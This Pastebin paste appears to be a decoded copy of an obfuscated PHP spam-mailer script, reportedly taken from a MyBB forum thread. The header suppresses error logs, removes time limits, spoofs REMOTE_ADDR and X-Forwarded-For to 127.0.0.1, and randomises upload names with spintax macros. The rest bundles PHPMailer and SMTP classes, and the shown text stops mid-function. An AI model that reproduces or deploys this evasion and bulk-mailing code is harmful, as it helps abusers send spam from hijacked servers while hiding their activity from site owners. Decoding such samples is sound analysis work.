Guest User

Decoded Code

a guest
Aug 24th, 2015
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 110.27 KB | None | 0 0
  1. <?php
  2. //decoded version of http://community.mybb.com/thread-175733.html
  3. @ini_set('error_log', NULL);
  4. @ini_set('log_errors', 0);
  5. @ini_set('max_execution_time', 0);
  6. @set_time_limit(0);
  7.  
  8. if(isset($_SERVER))
  9. {
  10.     $_SERVER['PHP_SELF'] = "/";
  11.     $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  12.     if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  13.     {
  14.         $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  15.     }
  16. }
  17. if(isset($_FILES))
  18. {
  19.     foreach($_FILES as $key => $file)
  20.     {
  21.         if(!strpos($file['name'], ".jpg"))
  22.         {
  23.             $filename = alter_macros($file['name']);
  24.             $filename = num_macros($filename);
  25.             $filename = xnum_macros($filename);
  26.             $_FILES[$key]["name"] = $filename;
  27.         }
  28.     }
  29. }
  30.    
  31. function custom_strip_tags($text)
  32. {
  33.     $text = strip_tags($text, '<a>');
  34.     $text = str_replace("<a href=\"", "[ ", $text);
  35.     $text = str_replace("</a>", "", $text);
  36.     $text = str_replace("\">", " ] ", $text);
  37.     return $text;
  38. }
  39. function is_ip($str) {
  40.   return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  41. }
  42. function from_host($content)
  43. {
  44.     $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  45.     if (is_ip($host))
  46.     {
  47.         return $content;
  48.     }
  49.    
  50.     $tokens = explode("@", $content);
  51.     $content = $tokens[0] . "@" . $host . ">";
  52.     return $content;
  53. }
  54. function alter_macros($content)
  55. {
  56.     preg_match_all('#{(.*)}#Ui', $content, $matches);
  57.     for($i = 0; $i < count($matches[1]); $i++)
  58.     {
  59.         $ns = explode("|", $matches[1][$i]);
  60.         $c2 = count($ns);
  61.         $rand = rand(0, ($c2 - 1));
  62.         $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  63.     }
  64.     return $content;
  65. }
  66.  
  67. function xnum_macros($content)
  68. {
  69.     preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  70.     for($i = 0; $i < count($matches[0]); $i++)
  71.     {
  72.         $num = $matches[1][$i];
  73.         $min = pow(10, $num - 1);
  74.         $max = pow(10, $num) - 1;
  75.         $rand = rand($min, $max);
  76.         $content = str_replace($matches[0][$i], $rand, $content);
  77.     }
  78.     return $content;
  79. }
  80. function num_macros($content)
  81. {
  82.     preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  83.     for($i = 0; $i < count($matches[0]); $i++)
  84.     {
  85.         $min = $matches[1][$i];
  86.         $max = $matches[2][$i];
  87.         $rand = rand($min, $max);
  88.         $content = str_replace($matches[0][$i], $rand, $content);
  89.     }
  90.     return $content;
  91. }
  92.  
  93. function fteil_macros($content, $fteil)
  94. {    
  95.     return str_replace("[FTEIL]", $fteil, $content);
  96. }
  97. class SMTP
  98. {
  99.     const VERSION = '5.2.10';
  100.     const CRLF = "\r\n";
  101.     const DEFAULT_SMTP_PORT = 25;
  102.     const MAX_LINE_LENGTH = 998;
  103.     const DEBUG_OFF = 0;
  104.     const DEBUG_CLIENT = 1;
  105.     const DEBUG_SERVER = 2;
  106.     const DEBUG_CONNECTION = 3;
  107.     const DEBUG_LOWLEVEL = 4;
  108.     public $Version = '5.2.10';
  109.     public $SMTP_PORT = 25;
  110.     public $CRLF = "\r\n";
  111.     public $do_debug = self::DEBUG_OFF;
  112.     public $Debugoutput = 'echo';
  113.     public $do_verp = false;
  114.     public $Timeout = 300;
  115.     public $Timelimit = 300;
  116.     protected $smtp_conn;
  117.     protected $error = array(
  118.         'error' => '',
  119.         'detail' => '',
  120.         'smtp_code' => '',
  121.         'smtp_code_ex' => ''
  122.     );
  123.     protected $helo_rply = null;
  124.     protected $server_caps = null;
  125.     protected $last_reply = '';
  126.     protected function edebug($str, $level = 0)
  127.     {
  128.         if ($level > $this->do_debug) {
  129.             return;
  130.         }
  131.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  132.             call_user_func($this->Debugoutput, $str, $this->do_debug);
  133.             return;
  134.         }
  135.         switch ($this->Debugoutput) {
  136.             case 'error_log':
  137.                 error_log($str);
  138.                 break;
  139.             case 'html':
  140.                 echo htmlentities(
  141.                     preg_replace('/[\r\n]+/', '', $str),
  142.                     ENT_QUOTES,
  143.                     'UTF-8'
  144.                 )
  145.                 . "<br>\n";
  146.                 break;
  147.             case 'echo':
  148.             default:
  149.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  150.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  151.                     "\n",
  152.                     "\n                   \t                  ",
  153.                     trim($str)
  154.                 )."\n";
  155.         }
  156.     }
  157.     public function connect($host, $port = null, $timeout = 30, $options = array())
  158.     {
  159.         static $streamok;
  160.         if (is_null($streamok)) {
  161.             $streamok = function_exists('stream_socket_client');
  162.         }
  163.         $this->setError('');
  164.         if ($this->connected()) {
  165.             $this->setError('Already connected to a server');
  166.             return false;
  167.         }
  168.         if (empty($port)) {
  169.             $port = self::DEFAULT_SMTP_PORT;
  170.         }
  171.         $this->edebug(
  172.             "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  173.             self::DEBUG_CONNECTION
  174.         );
  175.         $errno = 0;
  176.         $errstr = '';
  177.         if ($streamok) {
  178.             $socket_context = stream_context_create($options);
  179.             $this->smtp_conn = @stream_socket_client(
  180.                 $host . ":" . $port,
  181.                 $errno,
  182.                 $errstr,
  183.                 $timeout,
  184.                 STREAM_CLIENT_CONNECT,
  185.                 $socket_context
  186.             );
  187.         } else {
  188.             $this->edebug(
  189.                 "Connection: stream_socket_client not available, falling back to fsockopen",
  190.                 self::DEBUG_CONNECTION
  191.             );
  192.             $this->smtp_conn = fsockopen(
  193.                 $host,
  194.                 $port,
  195.                 $errno,
  196.                 $errstr,
  197.                 $timeout
  198.             );
  199.         }
  200.         if (!is_resource($this->smtp_conn)) {
  201.             $this->setError(
  202.                 'Failed to connect to server',
  203.                 $errno,
  204.                 $errstr
  205.             );
  206.             $this->edebug(
  207.                 'SMTP ERROR: ' . $this->error['error']
  208.                 . ": $errstr ($errno)",
  209.                 self::DEBUG_CLIENT
  210.             );
  211.             return false;
  212.         }
  213.         $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  214.         if (substr(PHP_OS, 0, 3) != 'WIN') {
  215.             $max = ini_get('max_execution_time');
  216.             if ($max != 0 && $timeout > $max) {
  217.                 @set_time_limit($timeout);
  218.             }
  219.             stream_set_timeout($this->smtp_conn, $timeout, 0);
  220.         }
  221.         $announce = $this->get_lines();
  222.         $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  223.         return true;
  224.     }
  225.     public function startTLS()
  226.     {
  227.         if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  228.             return false;
  229.         }
  230.         if (!stream_socket_enable_crypto(
  231.             $this->smtp_conn,
  232.             true,
  233.             STREAM_CRYPTO_METHOD_TLS_CLIENT
  234.         )) {
  235.             return false;
  236.         }
  237.         return true;
  238.     }
  239.     public function authenticate(
  240.         $username,
  241.         $password,
  242.         $authtype = null,
  243.         $realm = '',
  244.         $workstation = ''
  245.     ) {
  246.         if (!$this->server_caps) {
  247.             $this->setError('Authentication is not allowed before HELO/EHLO');
  248.             return false;
  249.         }
  250.         if (array_key_exists('EHLO', $this->server_caps)) {
  251.             if (!array_key_exists('AUTH', $this->server_caps)) {
  252.                 $this->setError('Authentication is not allowed at this stage');
  253.                 return false;
  254.             }
  255.             self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  256.             self::edebug(
  257.                 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  258.                 self::DEBUG_LOWLEVEL
  259.             );
  260.             if (empty($authtype)) {
  261.                 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  262.                     if (in_array($method, $this->server_caps['AUTH'])) {
  263.                         $authtype = $method;
  264.                         break;
  265.                     }
  266.                 }
  267.                 if (empty($authtype)) {
  268.                     $this->setError('No supported authentication methods found');
  269.                     return false;
  270.                 }
  271.                 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  272.             }
  273.             if (!in_array($authtype, $this->server_caps['AUTH'])) {
  274.                 $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  275.                 return false;
  276.             }
  277.         } elseif (empty($authtype)) {
  278.             $authtype = 'LOGIN';
  279.         }
  280.         switch ($authtype) {
  281.             case 'PLAIN':
  282.                 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  283.                     return false;
  284.                 }
  285.                 if (!$this->sendCommand(
  286.                     'User & Password',
  287.                     base64_encode("\0" . $username . "\0" . $password),
  288.                     235
  289.                 )
  290.                 ) {
  291.                     return false;
  292.                 }
  293.                 break;
  294.             case 'LOGIN':
  295.                 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  296.                     return false;
  297.                 }
  298.                 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  299.                     return false;
  300.                 }
  301.                 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  302.                     return false;
  303.                 }
  304.                 break;
  305.             case 'NTLM':
  306.                 require_once 'extras/ntlm_sasl_client.php';
  307.                 $temp = new stdClass;
  308.                 $ntlm_client = new ntlm_sasl_client_class;
  309.                 if (!$ntlm_client->Initialize($temp)) {
  310.                     $this->setError($temp->error);
  311.                     $this->edebug(
  312.                         'You need to enable some modules in your php.ini file: '
  313.                         . $this->error['error'],
  314.                         self::DEBUG_CLIENT
  315.                     );
  316.                     return false;
  317.                 }
  318.                 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  319.                 if (!$this->sendCommand(
  320.                     'AUTH NTLM',
  321.                     'AUTH NTLM ' . base64_encode($msg1),
  322.                     334
  323.                 )
  324.                 ) {
  325.                     return false;
  326.                 }
  327.                 $challenge = substr($this->last_reply, 3);
  328.                 $challenge = base64_decode($challenge);
  329.                 $ntlm_res = $ntlm_client->NTLMResponse(
  330.                     substr($challenge, 24, 8),
  331.                     $password
  332.                 );
  333.                 $msg3 = $ntlm_client->TypeMsg3(
  334.                     $ntlm_res,
  335.                     $username,
  336.                     $realm,
  337.                     $workstation
  338.                 );
  339.                 return $this->sendCommand('Username', base64_encode($msg3), 235);
  340.             case 'CRAM-MD5':
  341.                 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  342.                     return false;
  343.                 }
  344.                 $challenge = base64_decode(substr($this->last_reply, 4));
  345.                 $response = $username . ' ' . $this->hmac($challenge, $password);
  346.                 return $this->sendCommand('Username', base64_encode($response), 235);
  347.             default:
  348.                 $this->setError("Authentication method \"$authtype\" is not supported");
  349.                 return false;
  350.         }
  351.         return true;
  352.     }
  353.     protected function hmac($data, $key)
  354.     {
  355.         if (function_exists('hash_hmac')) {
  356.             return hash_hmac('md5', $data, $key);
  357.         }
  358.         $bytelen = 64; // byte length for md5
  359.         if (strlen($key) > $bytelen) {
  360.             $key = pack('H*', md5($key));
  361.         }
  362.         $key = str_pad($key, $bytelen, chr(0x00));
  363.         $ipad = str_pad('', $bytelen, chr(0x36));
  364.         $opad = str_pad('', $bytelen, chr(0x5c));
  365.         $k_ipad = $key ^ $ipad;
  366.         $k_opad = $key ^ $opad;
  367.         return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  368.     }
  369.     public function connected()
  370.     {
  371.         if (is_resource($this->smtp_conn)) {
  372.             $sock_status = stream_get_meta_data($this->smtp_conn);
  373.             if ($sock_status['eof']) {
  374.                 $this->edebug(
  375.                     'SMTP NOTICE: EOF caught while checking if connected',
  376.                     self::DEBUG_CLIENT
  377.                 );
  378.                 $this->close();
  379.                 return false;
  380.             }
  381.             return true; // everything looks good
  382.         }
  383.         return false;
  384.     }
  385.     public function close()
  386.     {
  387.         $this->setError('');
  388.         $this->server_caps = null;
  389.         $this->helo_rply = null;
  390.         if (is_resource($this->smtp_conn)) {
  391.             fclose($this->smtp_conn);
  392.             $this->smtp_conn = null; //Makes for cleaner serialization
  393.             $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  394.         }
  395.     }
  396.     public function data($msg_data)
  397.     {
  398.         if (!$this->sendCommand('DATA', 'DATA', 354)) {
  399.             return false;
  400.         }
  401.         $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  402.         $field = substr($lines[0], 0, strpos($lines[0], ':'));
  403.         $in_headers = false;
  404.         if (!empty($field) && strpos($field, ' ') === false) {
  405.             $in_headers = true;
  406.         }
  407.         foreach ($lines as $line) {
  408.             $lines_out = array();
  409.             if ($in_headers and $line == '') {
  410.                 $in_headers = false;
  411.             }
  412.             while (isset($line[self::MAX_LINE_LENGTH])) {
  413.                 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  414.                 if (!$pos) {
  415.                     $pos = self::MAX_LINE_LENGTH - 1;
  416.                     $lines_out[] = substr($line, 0, $pos);
  417.                     $line = substr($line, $pos);
  418.                 } else {
  419.                     $lines_out[] = substr($line, 0, $pos);
  420.                     $line = substr($line, $pos + 1);
  421.                 }
  422.                 if ($in_headers) {
  423.                     $line = "\t" . $line;
  424.                 }
  425.             }
  426.             $lines_out[] = $line;
  427.             foreach ($lines_out as $line_out) {
  428.                 if (!empty($line_out) and $line_out[0] == '.') {
  429.                     $line_out = '.' . $line_out;
  430.                 }
  431.                 $this->client_send($line_out . self::CRLF);
  432.             }
  433.         }
  434.         $savetimelimit = $this->Timelimit;
  435.         $this->Timelimit = $this->Timelimit * 2;
  436.         $result = $this->sendCommand('DATA END', '.', 250);
  437.         $this->Timelimit = $savetimelimit;
  438.         return $result;
  439.     }
  440.     public function hello($host = '')
  441.     {
  442.         return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  443.     }
  444.     protected function sendHello($hello, $host)
  445.     {
  446.         $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  447.         $this->helo_rply = $this->last_reply;
  448.         if ($noerror) {
  449.             $this->parseHelloFields($hello);
  450.         } else {
  451.             $this->server_caps = null;
  452.         }
  453.         return $noerror;
  454.     }
  455.     protected function parseHelloFields($type)
  456.     {
  457.         $this->server_caps = array();
  458.         $lines = explode("\n", $this->last_reply);
  459.         foreach ($lines as $n => $s) {
  460.             $s = trim(substr($s, 4));
  461.             if (!$s) {
  462.                 continue;
  463.             }
  464.             $fields = explode(' ', $s);
  465.             if (!empty($fields)) {
  466.                 if (!$n) {
  467.                     $name = $type;
  468.                     $fields = $fields[0];
  469.                 } else {
  470.                     $name = array_shift($fields);
  471.                     if ($name == 'SIZE') {
  472.                         $fields = ($fields) ? $fields[0] : 0;
  473.                     }
  474.                 }
  475.                 $this->server_caps[$name] = ($fields ? $fields : true);
  476.             }
  477.         }
  478.     }
  479.     public function mail($from)
  480.     {
  481.         $useVerp = ($this->do_verp ? ' XVERP' : '');
  482.         return $this->sendCommand(
  483.             'MAIL FROM',
  484.             'MAIL FROM:<' . $from . '>' . $useVerp,
  485.             250
  486.         );
  487.     }
  488.     public function quit($close_on_error = true)
  489.     {
  490.         $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  491.         $err = $this->error; //Save any error
  492.         if ($noerror or $close_on_error) {
  493.             $this->close();
  494.             $this->error = $err; //Restore any error from the quit command
  495.         }
  496.         return $noerror;
  497.     }
  498.     public function recipient($toaddr)
  499.     {
  500.         return $this->sendCommand(
  501.             'RCPT TO',
  502.             'RCPT TO:<' . $toaddr . '>',
  503.             array(250, 251)
  504.         );
  505.     }
  506.     public function reset()
  507.     {
  508.         return $this->sendCommand('RSET', 'RSET', 250);
  509.     }
  510.     protected function sendCommand($command, $commandstring, $expect)
  511.     {
  512.         if (!$this->connected()) {
  513.             $this->setError("Called $command without being connected");
  514.             return false;
  515.         }
  516.         $this->client_send($commandstring . self::CRLF);
  517.         $this->last_reply = $this->get_lines();
  518.         $matches = array();
  519.         if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  520.             $code = $matches[1];
  521.             $code_ex = (count($matches) > 2 ? $matches[2] : null);
  522.             $detail = preg_replace(
  523.                 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  524.                 '',
  525.                 $this->last_reply
  526.             );
  527.         } else {
  528.             $code = substr($this->last_reply, 0, 3);
  529.             $code_ex = null;
  530.             $detail = substr($this->last_reply, 4);
  531.         }
  532.         $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  533.         if (!in_array($code, (array)$expect)) {
  534.             $this->setError(
  535.                 "$command command failed",
  536.                 $detail,
  537.                 $code,
  538.                 $code_ex
  539.             );
  540.             $this->edebug(
  541.                 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  542.                 self::DEBUG_CLIENT
  543.             );
  544.             return false;
  545.         }
  546.         $this->setError('');
  547.         return true;
  548.     }
  549.     public function sendAndMail($from)
  550.     {
  551.         return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  552.     }
  553.     public function verify($name)
  554.     {
  555.         return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  556.     }
  557.     public function noop()
  558.     {
  559.         return $this->sendCommand('NOOP', 'NOOP', 250);
  560.     }
  561.     public function turn()
  562.     {
  563.         $this->setError('The SMTP TURN command is not implemented');
  564.         $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  565.         return false;
  566.     }
  567.     public function client_send($data)
  568.     {
  569.         $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  570.         return fwrite($this->smtp_conn, $data);
  571.     }
  572.     public function getError()
  573.     {
  574.         return $this->error;
  575.     }
  576.     public function getServerExtList()
  577.     {
  578.         return $this->server_caps;
  579.     }
  580.     public function getServerExt($name)
  581.     {
  582.         if (!$this->server_caps) {
  583.             $this->setError('No HELO/EHLO was sent');
  584.             return null;
  585.         }
  586.         // the tight logic knot ;)
  587.         if (!array_key_exists($name, $this->server_caps)) {
  588.             if ($name == 'HELO') {
  589.                 return $this->server_caps['EHLO'];
  590.             }
  591.             if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  592.                 return false;
  593.             }
  594.             $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  595.             return null;
  596.         }
  597.         return $this->server_caps[$name];
  598.     }
  599.     public function getLastReply()
  600.     {
  601.         return $this->last_reply;
  602.     }
  603.     protected function get_lines()
  604.     {
  605.         if (!is_resource($this->smtp_conn)) {
  606.             return '';
  607.         }
  608.         $data = '';
  609.         $endtime = 0;
  610.         stream_set_timeout($this->smtp_conn, $this->Timeout);
  611.         if ($this->Timelimit > 0) {
  612.             $endtime = time() + $this->Timelimit;
  613.         }
  614.         while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  615.             $str = @fgets($this->smtp_conn, 515);
  616.             $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  617.             $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  618.             $data .= $str;
  619.             $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  620.             if ((isset($str[3]) and $str[3] == ' ')) {
  621.                 break;
  622.             }
  623.             $info = stream_get_meta_data($this->smtp_conn);
  624.             if ($info['timed_out']) {
  625.                 $this->edebug(
  626.                     'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  627.                     self::DEBUG_LOWLEVEL
  628.                 );
  629.                 break;
  630.             }
  631.             if ($endtime and time() > $endtime) {
  632.                 $this->edebug(
  633.                     'SMTP -> get_lines(): timelimit reached ('.
  634.                     $this->Timelimit . ' sec)',
  635.                     self::DEBUG_LOWLEVEL
  636.                 );
  637.                 break;
  638.             }
  639.         }
  640.         return $data;
  641.     }
  642.     public function setVerp($enabled = false)
  643.     {
  644.         $this->do_verp = $enabled;
  645.     }
  646.     public function getVerp()
  647.     {
  648.         return $this->do_verp;
  649.     }
  650.     protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  651.     {
  652.         $this->error = array(
  653.             'error' => $message,
  654.             'detail' => $detail,
  655.             'smtp_code' => $smtp_code,
  656.             'smtp_code_ex' => $smtp_code_ex
  657.         );
  658.     }
  659.     public function setDebugOutput($method = 'echo')
  660.     {
  661.         $this->Debugoutput = $method;
  662.     }
  663.     public function getDebugOutput()
  664.     {
  665.         return $this->Debugoutput;
  666.     }
  667.     public function setDebugLevel($level = 0)
  668.     {
  669.         $this->do_debug = $level;
  670.     }
  671.     public function getDebugLevel()
  672.     {
  673.         return $this->do_debug;
  674.     }
  675.     public function setTimeout($timeout = 0)
  676.     {
  677.         $this->Timeout = $timeout;
  678.     }
  679.     public function getTimeout()
  680.     {
  681.         return $this->Timeout;
  682.     }
  683. }
  684. class PHPMailer
  685. {
  686.     public $Version = '5.2.9';
  687.     public $Priority = 3;
  688.     public $CharSet = 'iso-8859-1';
  689.     public $ContentType = 'text/plain';
  690.     public $Encoding = '8bit';
  691.     public $ErrorInfo = '';
  692.     public $From = 'root@localhost';
  693.     public $FromName = 'Root User';
  694.     public $Sender = '';
  695.     public $ReturnPath = '';
  696.     public $Subject = '';
  697.     public $Body = '';
  698.     public $AltBody = '';
  699.     public $Ical = '';
  700.     protected $MIMEBody = '';
  701.     protected $MIMEHeader = '';
  702.     protected $mailHeader = '';
  703.     public $WordWrap = 0;
  704.     public $Mailer = 'mail';
  705.     public $Sendmail = '/usr/sbin/sendmail';
  706.     public $UseSendmailOptions = true;
  707.     public $PluginDir = '';
  708.     public $ConfirmReadingTo = '';
  709.     public $Hostname = '';
  710.     public $MessageID = '';
  711.     public $MessageDate = '';
  712.     public $Host = 'localhost';
  713.     public $Port = 25;
  714.     public $Helo = '';
  715.     public $SMTPSecure = '';
  716.     public $SMTPAuth = false;
  717.     public $Username = '';
  718.     public $Password = '';
  719.     public $AuthType = '';
  720.     public $Realm = '';
  721.     public $Workstation = '';
  722.     public $Timeout = 300;
  723.     public $SMTPDebug = 0;
  724.     public $Debugoutput = 'echo';
  725.     public $SMTPKeepAlive = false;
  726.     public $SingleTo = false;
  727.     public $SingleToArray = array();
  728.     public $do_verp = false;
  729.     public $AllowEmpty = false;
  730.     public $LE = "\n";
  731.     public $DKIM_selector = '';
  732.     public $DKIM_identity = '';
  733.     public $DKIM_passphrase = '';
  734.     public $DKIM_domain = '';
  735.     public $DKIM_private = '';
  736.     public $action_function = '';
  737.     public $XMailer = '';
  738.     protected $smtp = null;
  739.     protected $to = array();
  740.     protected $cc = array();
  741.     protected $bcc = array();
  742.     protected $ReplyTo = array();
  743.     protected $all_recipients = array();
  744.     protected $attachment = array();
  745.     protected $CustomHeader = array();
  746.     protected $lastMessageID = '';
  747.     protected $message_type = '';
  748.     protected $boundary = array();
  749.     protected $language = array();
  750.     protected $error_count = 0;
  751.     protected $sign_cert_file = '';
  752.     protected $sign_key_file = '';
  753.     protected $sign_key_pass = '';
  754.     protected $exceptions = false;
  755.     const STOP_MESSAGE = 0;
  756.     const STOP_CONTINUE = 1;
  757.     const STOP_CRITICAL = 2;
  758.     const CRLF = "\r\n";
  759.     public function __construct($exceptions = false)
  760.     {
  761.         $this->exceptions = (boolean)$exceptions;
  762.     }
  763.     public function __destruct()
  764.     {
  765.     }
  766.     private function mailPassthru($to, $subject, $body, $header, $params)
  767.     {
  768.         //Check overloading of mail function to avoid double-encoding
  769.         if (ini_get('mbstring.func_overload') & 1) {
  770.             $subject = $this->secureHeader($subject);
  771.         } else {
  772.             $subject = $this->encodeHeader($this->secureHeader($subject));
  773.         }
  774.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  775.             $result = @mail($to, $subject, $body, $header);
  776.         } else {
  777.             $result = @mail($to, $subject, $body, $header, $params);
  778.         }
  779.         return $result;
  780.     }
  781.     protected function edebug($str)
  782.     {
  783.         if ($this->SMTPDebug <= 0) {
  784.             return;
  785.         }
  786.         //Avoid clash with built-in function names
  787.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  788.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  789.             return;
  790.         }
  791.         switch ($this->Debugoutput) {
  792.             case 'error_log':
  793.                 //Don't output, just log
  794.                 error_log($str);
  795.                 break;
  796.             case 'html':
  797.                 //Cleans up output a bit for a better looking, HTML-safe output
  798.                 echo htmlentities(
  799.                     preg_replace('/[\r\n]+/', '', $str),
  800.                     ENT_QUOTES,
  801.                     'UTF-8'
  802.                 )
  803.                 . "<br>\n";
  804.                 break;
  805.             case 'echo':
  806.             default:
  807.                 //Normalize line breaks
  808.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  809.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  810.                     "\n",
  811.                     "\n                   \t                  ",
  812.                     trim($str)
  813.                 ) . "\n";
  814.         }
  815.     }
  816.     public function isHTML($isHtml = true)
  817.     {
  818.         if ($isHtml) {
  819.             $this->ContentType = 'text/html';
  820.         } else {
  821.             $this->ContentType = 'text/plain';
  822.         }
  823.     }
  824.     public function isSMTP()
  825.     {
  826.         $this->Mailer = 'smtp';
  827.     }
  828.     public function isMail()
  829.     {
  830.         $this->Mailer = 'mail';
  831.     }
  832.     public function isSendmail()
  833.     {
  834.         $ini_sendmail_path = ini_get('sendmail_path');
  835.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  836.             $this->Sendmail = '/usr/sbin/sendmail';
  837.         } else {
  838.             $this->Sendmail = $ini_sendmail_path;
  839.         }
  840.         $this->Mailer = 'sendmail';
  841.     }
  842.     public function isQmail()
  843.     {
  844.         $ini_sendmail_path = ini_get('sendmail_path');
  845.         if (!stristr($ini_sendmail_path, 'qmail')) {
  846.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  847.         } else {
  848.             $this->Sendmail = $ini_sendmail_path;
  849.         }
  850.         $this->Mailer = 'qmail';
  851.     }
  852.     public function addAddress($address, $name = '')
  853.     {
  854.         return $this->addAnAddress('to', $address, $name);
  855.     }
  856.     public function addCC($address, $name = '')
  857.     {
  858.         return $this->addAnAddress('cc', $address, $name);
  859.     }
  860.     public function addBCC($address, $name = '')
  861.     {
  862.         return $this->addAnAddress('bcc', $address, $name);
  863.     }
  864.     public function addReplyTo($address, $name = '')
  865.     {
  866.         return $this->addAnAddress('Reply-To', $address, $name);
  867.     }
  868.     protected function addAnAddress($kind, $address, $name = '')
  869.     {
  870.         if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  871.             $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  872.             $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  873.             if ($this->exceptions) {
  874.                 throw new phpmailerException('Invalid recipient array: ' . $kind);
  875.             }
  876.             return false;
  877.         }
  878.         $address = trim($address);
  879.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  880.         if (!$this->validateAddress($address)) {
  881.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  882.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  883.             if ($this->exceptions) {
  884.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  885.             }
  886.             return false;
  887.         }
  888.         if ($kind != 'Reply-To') {
  889.             if (!isset($this->all_recipients[strtolower($address)])) {
  890.                 array_push($this->$kind, array($address, $name));
  891.                 $this->all_recipients[strtolower($address)] = true;
  892.                 return true;
  893.             }
  894.         } else {
  895.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  896.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  897.                 return true;
  898.             }
  899.         }
  900.         return false;
  901.     }
  902.     public function setFrom($address, $name = '', $auto = true)
  903.     {
  904.         $address = trim($address);
  905.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  906.         if (!$this->validateAddress($address)) {
  907.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  908.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  909.             if ($this->exceptions) {
  910.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  911.             }
  912.             return false;
  913.         }
  914.         $this->From = $address;
  915.         $this->FromName = $name;
  916.         if ($auto) {
  917.             if (empty($this->Sender)) {
  918.                 $this->Sender = $address;
  919.             }
  920.         }
  921.         return true;
  922.     }
  923.     public function getLastMessageID()
  924.     {
  925.         return $this->lastMessageID;
  926.     }
  927.     public static function validateAddress($address, $patternselect = 'auto')
  928.     {
  929.         if (!$patternselect or $patternselect == 'auto') {
  930.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  931.             //Constant was added in PHP 5.2.4
  932.             if (defined('PCRE_VERSION')) {
  933.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  934.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  935.                     $patternselect = 'pcre8';
  936.                 } else {
  937.                     $patternselect = 'pcre';
  938.                 }
  939.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
